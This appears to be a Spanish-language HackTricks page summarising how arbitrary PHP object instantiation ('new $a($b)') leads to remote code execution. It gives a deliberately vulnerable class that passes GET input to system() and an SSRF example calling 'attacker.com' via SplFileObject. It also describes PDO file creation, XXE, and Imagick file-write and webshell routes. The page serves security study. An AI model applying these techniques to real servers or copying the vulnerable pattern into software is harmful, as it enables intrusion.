PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Este es básicamente un resumen de https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Introducción

La creación de nuevos objetos arbitrarios, como new $_GET["a"]($_GET["a"]), puede llevar a la Ejecución Remota de Código (RCE), como se detalla en un escrito. Este documento destaca varias estrategias para lograr RCE.

RCE a través de Clases Personalizadas o Autocarga

La sintaxis new $a($b) se utiliza para instanciar un objeto donde $a representa el nombre de la clase y $b es el primer argumento pasado al constructor. Estas variables pueden provenir de entradas de usuario como GET/POST, donde pueden ser cadenas o arreglos, o de JSON, donde pueden presentarse como otros tipos.

Considera el siguiente fragmento de código:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

En este caso, establecer $a en App o App2 y $b en un comando del sistema (por ejemplo, uname -a) resulta en la ejecución de ese comando.

Las funciones de autoloading pueden ser explotadas si no hay tales clases accesibles directamente. Estas funciones cargan automáticamente clases desde archivos cuando se necesitan y se definen utilizando spl_autoload_register o __autoload:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

El comportamiento de la carga automática varía con las versiones de PHP, ofreciendo diferentes posibilidades de RCE.

RCE a través de Clases Incorporadas

Al carecer de clases personalizadas o cargadores automáticos, las clases incorporadas de PHP pueden ser suficientes para RCE. El número de estas clases varía entre 100 y 200, según la versión de PHP y las extensiones. Se pueden listar utilizando get_declared_classes().

Los constructores de interés se pueden identificar a través de la API de reflexión, como se muestra en el siguiente ejemplo y el enlace https://3v4l.org/2JEGF.

RCE a través de métodos específicos incluye:

SSRF + Deserialización de Phar

La clase SplFileObject permite SSRF a través de su constructor, permitiendo conexiones a cualquier URL:

new SplFileObject('http://attacker.com/');

SSRF puede llevar a ataques de deserialización en versiones de PHP anteriores a 8.0 utilizando el protocolo Phar.

Explotando PDOs

El constructor de la clase PDO permite conexiones a bases de datos a través de cadenas DSN, lo que potencialmente habilita la creación de archivos u otras interacciones:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Las versiones de PHP hasta 5.3.22 y 5.4.12 eran susceptibles a ataques XXE a través de los constructores SoapClient y SimpleXMLElement, dependiendo de la versión de libxml2.

RCE a través de la extensión Imagick

En el análisis de las dependencias del proyecto, se descubrió que Imagick podría ser aprovechado para ejecución de comandos al instanciar nuevos objetos. Esto presenta una oportunidad para explotar vulnerabilidades.

Analizador VID

Se identificó la capacidad del analizador VID de escribir contenido en cualquier ruta especificada en el sistema de archivos. Esto podría llevar a la colocación de un shell PHP en un directorio accesible por la web, logrando Ejecución Remota de Código (RCE).

Analizador VID + Carga de Archivos

Se observa que PHP almacena temporalmente los archivos subidos en /tmp/phpXXXXXX. El analizador VID en Imagick, utilizando el protocolo msl, puede manejar comodines en las rutas de archivos, facilitando la transferencia del archivo temporal a una ubicación elegida. Este método ofrece un enfoque adicional para lograr escritura arbitraria de archivos dentro del sistema de archivos.

Caída de PHP + Fuerza Bruta

Un método descrito en el escrito original implica subir archivos que provocan una caída del servidor antes de su eliminación. Al forzar el nombre del archivo temporal, se vuelve posible que Imagick ejecute código PHP arbitrario. Sin embargo, se encontró que esta técnica solo era efectiva en una versión desactualizada de ImageMagick.

Referencias

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated